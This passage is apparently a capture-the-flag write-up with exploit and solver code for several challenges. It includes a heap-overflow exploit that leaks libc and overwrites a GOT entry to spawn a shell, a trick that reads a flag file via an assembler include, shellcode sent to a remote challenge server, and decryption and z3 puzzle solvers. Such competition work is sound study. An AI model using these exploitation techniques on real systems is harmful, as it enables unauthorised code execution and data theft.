<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">connect_note</span><span class="hljs-params">(idd,idd2)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"2"</span>)
r.recvuntil(<span class="hljs-string">"pred_id>\n"</span>)
r.sendline(str(idd))
r.recvuntil(<span class="hljs-string">"succ_id>\n"</span>)
r.sendline(str(idd2))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">disconnect_node</span><span class="hljs-params">(idd,idd2)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"3"</span>)
r.recvuntil(<span class="hljs-string">"pred_id>\n"</span>)
r.sendline(str(idd))
r.recvuntil(<span class="hljs-string">"succ_id>\n"</span>)
r.sendline(str(idd2))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">write_text</span><span class="hljs-params">(index,text)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"4"</span>)
r.recvuntil(<span class="hljs-string">"node_id>\n"</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">"text_len>\n"</span>)
r.sendline(str(len(text)))
r.recvuntil(<span class="hljs-string">"text>\n"</span>)
r.send(text)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">write_bin</span><span class="hljs-params">(index,binary)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"5"</span>)
r.recvuntil(<span class="hljs-string">"node_id>\n"</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">"bin_len>\n"</span>)
r.sendline(str(len(binary)))
r.recvuntil(<span class="hljs-string">"bin>\n"</span>)
r.send(binary)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_text</span><span class="hljs-params">(index)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"6"</span>)
r.recvuntil(<span class="hljs-string">"node_id>\n"</span>)
r.sendline(str(index))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wtf</span><span class="hljs-params">()</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"7"</span>)
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-keyword">else</span>:
r = remote(host ,port)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
create_note(<span class="hljs-number">0</span>)
create_note(<span class="hljs-number">0</span>)
wtf()
write_bin(<span class="hljs-number">0</span>,<span class="hljs-string">""</span>)
create_note(<span class="hljs-number">0</span>)
create_note(<span class="hljs-number">0</span>)
root = <span class="hljs-number">0x0519188</span>
pool = <span class="hljs-number">0x0519170</span>
buf = <span class="hljs-number">0x519800</span>
fwrite_got = <span class="hljs-number">0x519098</span>
write_text(<span class="hljs-number">0</span>,p64(<span class="hljs-number">0x41</span>) + p64(<span class="hljs-number">0x41</span>) + p64(<span class="hljs-number">0x519800</span>) + p64(<span class="hljs-number">0x519800</span>) + p64(<span class="hljs-number">0x519800</span>+<span class="hljs-number">0x100</span>) + p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0</span>)) <span class="hljs-comment"># fake structure</span>
write_text(<span class="hljs-number">0x41</span>,<span class="hljs-string">b"\x00"</span>*<span class="hljs-number">192</span> + p64(fwrite_got)) <span class="hljs-comment"># heap overflow & 0x20 tcache fd changed to fwrite_got</span>
create_note(<span class="hljs-number">0</span>)
printf_plt = <span class="hljs-number">0x404056</span>
write_text(<span class="hljs-number">5</span>,p64(printf_plt)) <span class="hljs-comment"># Change fwrite_got of tcache attack to printf_plt</span>
fmt = <span class="hljs-string">"%p."</span>*<span class="hljs-number">0x10</span>
write_text(<span class="hljs-number">0</span>,fmt) <span class="hljs-comment"># fmt leak libc</span>
read_text(<span class="hljs-string">"0"</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">14</span>):
r.recvuntil(<span class="hljs-string">"."</span>)
libc = int(r.recvuntil(<span class="hljs-string">"."</span>)[:<span class="hljs-number">-1</span>],<span class="hljs-number">16</span>) - <span class="hljs-number">0x270b3</span>
print(<span class="hljs-string">"libc = {}"</span>.format(hex(libc)))
system = libc + <span class="hljs-number">0x55410</span>
write_text(<span class="hljs-number">5</span>,p64(system)) <span class="hljs-comment"># fwrite_got changed to system </span>
fmt = <span class="hljs-string">"sh;"</span>
fmt = fmt.ljust(<span class="hljs-number">0x60</span>)
write_text(<span class="hljs-number">0</span>,fmt)
read_text(<span class="hljs-string">"0"</span>)
r.interactive()</code></pre><h3 id="revenge-of-pwn"><a class="header-link" href="#revenge-of-pwn"></a>Revenge of Pwn</h3>
<ul class="list">
<li>shellcraft.stager('0\n\t.include "/home/deploy/flag"', 0x4000) </li>
<li>will fail on asm and print error message with the flag.</li>
</ul>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><sys/socket.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><sys/types.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><netinet/in.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><netdb.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdlib.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><unistd.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><errno.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><arpa/inet.h></span> </span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[])</span>
</span>{
setvbuf(<span class="hljs-built_in">stdout</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>);
<span class="hljs-keyword">char</span> buf[<span class="hljs-number">0x100</span>];
<span class="hljs-built_in">puts</span>(<span class="hljs-string">"stack address @ 0x0"</span>);
read(<span class="hljs-number">0</span>,buf,<span class="hljs-number">0x100</span>);
<span class="hljs-keyword">int</span> sockfd = <span class="hljs-number">0</span>, n = <span class="hljs-number">0</span>;
<span class="hljs-keyword">char</span> recvBuff[<span class="hljs-number">1024</span>];
<span class="hljs-keyword">struct</span> sockaddr_in serv_addr;
<span class="hljs-keyword">if</span>((sockfd = socket(AF_INET, SOCK_STREAM, <span class="hljs-number">0</span>)) < <span class="hljs-number">0</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n Error : Could not create socket \n"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
<span class="hljs-built_in">memset</span>(&serv_addr, <span class="hljs-string">'0'</span>, <span class="hljs-keyword">sizeof</span>(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(<span class="hljs-number">31337</span>);
<span class="hljs-keyword">if</span>(inet_pton(AF_INET, <span class="hljs-string">"127.0.0.1"</span>, &serv_addr.sin_addr)<=<span class="hljs-number">0</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n inet_pton error occured\n"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
<span class="hljs-keyword">if</span>( connect(sockfd, (<span class="hljs-keyword">struct</span> sockaddr *)&serv_addr, <span class="hljs-keyword">sizeof</span>(serv_addr)) < <span class="hljs-number">0</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n Error : Connect Failed \n"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
dprintf(sockfd,<span class="hljs-string">"0\n\t.include \"/home/deploy/flag\"@"</span>);
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>) ;
}
</code></pre><h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="tenet"><a class="header-link" href="#tenet"></a>Tenet</h3>
<p>shellcode will clear cookie when run
replayed shellcode will then restore cookie through case encoded bitstream</p>
<pre class="hljs"><code>from pwn import *
context.arch = <span class="hljs-string">'amd64'</span>
shellcode = asm(f<span class="hljs-string">'''</span>
<span class="hljs-keyword">jmp</span> START
<span class="hljs-symbol">
CASE0:</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-built_in">bl</span>
<span class="hljs-keyword">or</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">al</span>
<span class="hljs-keyword">shl</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">0</span>
<span class="hljs-keyword">jmp</span> LANDING
<span class="hljs-symbol">
CASE1:</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-built_in">bl</span>
<span class="hljs-keyword">or</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">al</span>
<span class="hljs-keyword">shl</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">1</span>
<span class="hljs-keyword">jmp</span> LANDING
<span class="hljs-symbol">
START:</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170000</span>
<span class="hljs-symbol"> OUTERLOOP:</span>
<span class="hljs-keyword">xor</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-built_in">rcx</span>
<span class="hljs-symbol"> INNERLOOP:</span>
<span class="hljs-keyword">xor</span> <span class="hljs-built_in">rax</span>, <span class="hljs-built_in">rax</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">byte</span> <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rdi</span>]
<span class="hljs-keyword">shr</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
<span class="hljs-keyword">and</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">1</span>
<span class="hljs-keyword">test</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">al</span>
<span class="hljs-keyword">jz</span> CASE0
<span class="hljs-keyword">jmp</span> CASE1
<span class="hljs-symbol"> LANDING:</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rcx</span>
<span class="hljs-keyword">inc</span> <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">dec</span> <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rcx</span>
<span class="hljs-keyword">cmp</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-number">8</span>
<span class="hljs-keyword">jne</span> INNERLOOP
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-number">8</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-number">0</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rdi</span>
<span class="hljs-keyword">inc</span> <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">dec</span> <span class="hljs-built_in">r12</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rdi</span>
<span class="hljs-keyword">cmp</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170008</span>
<span class="hljs-keyword">jne</span> OUTERLOOP
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170008</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rax</span>, <span class="hljs-number">0x3c</span>
<span class="hljs-keyword">syscall</span>
<span class="hljs-string">'''</span>)
r = remote(<span class="hljs-string">'52.192.42.215'</span>,<span class="hljs-number">9427</span>)
r.sendlineafter(<span class="hljs-string">')\n'</span>,<span class="hljs-keyword">str</span>(len(shellcode)))
r.sendafter(<span class="hljs-string">'..\n'</span>,shellcode)
r.interactive()</code></pre><h3 id="sop"><a class="header-link" href="#sop"></a>SOP</h3>
<pre class="hljs"><code>from pwn import *
from Crypto.Util.number import long_to_bytes
def encrypt(<span class="hljs-keyword">inp</span>):
res = []
<span class="hljs-keyword">for</span> <span class="hljs-keyword">INP</span> <span class="hljs-keyword">in</span> <span class="hljs-keyword">inp</span>:
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(32):
<span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[8]+<span class="hljs-keyword">INP</span>[9])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[7]<<4)&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[2])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]>>5)&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[3])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[8])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[6] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[11])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[6]<<4)&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[4])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]>>5)&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[5])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[8])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[7] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[11])&0xffffffff
res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[6])
res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[7])
<span class="hljs-keyword">return</span> res
def decrypt(<span class="hljs-keyword">inp</span>):
res = []
<span class="hljs-keyword">for</span> <span class="hljs-keyword">INP</span> <span class="hljs-keyword">in</span> <span class="hljs-keyword">inp</span>:
<span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[9]*32)&0xffffffff
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(32):
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[7]<<4)&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[2])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]>>5)&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[3])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[8])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[6] = (<span class="hljs-keyword">INP</span>[6]-<span class="hljs-keyword">INP</span>[11]+(1<<32))&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[6]<<4)&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[4])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]>>5)&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[5])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[8])&0xffffffff
<span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&0xffffffff
<span class="hljs-keyword">INP</span>[7] = (<span class="hljs-keyword">INP</span>[7]-<span class="hljs-keyword">INP</span>[11]+(1<<32))&0xffffffff
<span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[8]-<span class="hljs-keyword">INP</span>[9]+(1<<32))&0xffffffff
res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[7])
res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[6])
<span class="hljs-keyword">return</span> res
keys = [0x152ceed2,0xd6046dc3,0x4a9d3ffd,0xbb541082,0x632a4f78,0x0a9cb93d,0x58aae351,0x92012a14]
<span class="hljs-keyword">inp</span> = [[0,0,0x2b0b575b,0x1e8b51cc,0x69a33fff,0x468932dc,keys[1],keys[0],0,0x51fdd41a,0,0,0,0],
[0,0,0x688620f9,0x8df954f3,0x32e57ab6,0x7785df55,keys[3],keys[2],0,0x5c37a6db,0,0,0,0],
[0,0,0x1bd1fc38,0x14220605,0xaca81571,0x2c19574f,keys[5],keys[4],0,0xb4f0b4fb,0,0,0,0],
[0,0,0xe9ab109d,0x8d4f04b2,0x33f33fe0,0xf9de7e36,keys[7],keys[6],0,0xd3c45f8c,0,0,0,0]]
res = decrypt(<span class="hljs-keyword">inp</span>)
<span class="hljs-keyword">print</span>(b''.join(map(p32,res)))</code></pre><h3 id="11011001"><a class="header-link" href="#11011001"></a>11011001</h3>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><bits/stdc++.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"z3++.h"</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> z3;
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> s = <span class="hljs-string">R"foo(0------1----------0-
--1-1--1-----11--0-1
--------------------
---1-11-11---0------
--0-----1--0-----1-1
---0------1---1-----
1--00---1----11-0---
--1----1---0------0-
---------1--1--0---1
--00---1---0-0------
--------0----------0
-00------1-------0-0
----00--0----11-----
---------1-0----0---
-0------1--0--------
---1--0---0----0--11
-0----0-1---01------
----0----0------11--
-0----10-0-0--------
0------1-----0-00-0-
)foo"</span>;
context ctx;
<span class="hljs-function">expr <span class="hljs-title">get</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span> </span>{
<span class="hljs-keyword">return</span> ctx.bool_const((<span class="hljs-built_in">std</span>::to_string(x) + <span class="hljs-string">"_"</span> + <span class="hljs-built_in">std</span>::to_string(y)).c_str());
}
<span class="hljs-keyword">constexpr</span> <span class="hljs-keyword">int</span> kN = <span class="hljs-number">20</span>;
<span class="hljs-function"><span class="hljs-keyword">char</span> <span class="hljs-title">gc</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span> </span>{
<span class="hljs-keyword">return</span> s[x * (kN + <span class="hljs-number">1</span>) + y];
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
assert(s.size() == ((kN + <span class="hljs-number">1</span>) * kN));
<span class="hljs-function">solver <span class="hljs-title">sol</span><span class="hljs-params">(ctx)</span></span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x < kN; x++) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">2</span>; y < kN; y++) {
sol.add(get(x, y - <span class="hljs-number">2</span>) || get(x, y - <span class="hljs-number">1</span>) || get(x, y));
sol.add(!(get(x, y - <span class="hljs-number">2</span>) && get(x, y - <span class="hljs-number">1</span>) && get(x, y)));
}
}
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y < kN; y++) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">2</span>; x < kN; x++) {
sol.add(get(x - <span class="hljs-number">2</span>, y) || get(x - <span class="hljs-number">1</span>, y) || get(x, y));
sol.add(!(get(x - <span class="hljs-number">2</span>, y) && get(x - <span class="hljs-number">1</span>, y) && get(x, y)));
}
}
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x < kN; x++) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y < kN; y++) {
<span class="hljs-keyword">char</span> c = gc(x, y);
<span class="hljs-keyword">if</span> (c == <span class="hljs-string">'0'</span>)
sol.add(!get(x, y));
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (c == <span class="hljs-string">'1'</span>)
sol.add(get(x, y));
}
}
<span class="hljs-keyword">int</span> coef[kN];
<span class="hljs-built_in">std</span>::fill(coef, <span class="hljs-built_in">std</span>::end(coef), <span class="hljs-number">1</span>);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x < kN; x++) {
<span class="hljs-function">expr_vector <span class="hljs-title">v</span><span class="hljs-params">(ctx)</span></span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y < kN; y++)
v.push_back(get(x, y));
sol.add(pbeq(v, coef, <span class="hljs-number">10</span>));
}
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y < kN; y++) {
<span class="hljs-function">expr_vector <span class="hljs-title">v</span><span class="hljs-params">(ctx)</span></span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x < kN; x++)
v.push_back(get(x, y));
sol.add(pbeq(v, coef, <span class="hljs-number">10</span>));
}
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> << sol.check() << <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
model m = sol.get_model();
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span><<span class="hljs-keyword">int</span>> res;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x < kN; x++) {
<span class="hljs-keyword">int</span> num = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y < kN; y++) {
<span class="hljs-keyword">int</span> t = m.eval(get(x, y)).bool_value();
<span class="hljs-keyword">if</span> (t < <span class="hljs-number">0</span>) t = <span class="hljs-number">0</span>;
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> << t;
num = (num << <span class="hljs-number">1</span>) | t;
}
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> << <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
res.push_back(num);
}
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> num : res)
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> << num << <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
}</code></pre><h2 id="forensics"><a class="header-link" href="#forensics"></a>Forensics</h2>
<h3 id="ac1750"><a class="header-link" href="#ac1750"></a>AC1750</h3>
<p>The file we are given is the packet log of <a href="https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo">this attack</a>. Just decrypt the UDP payloads according to the information from that article, and you'll see the commands that save the flag.</p>
</article>
</div>
</div>
</body>
</html>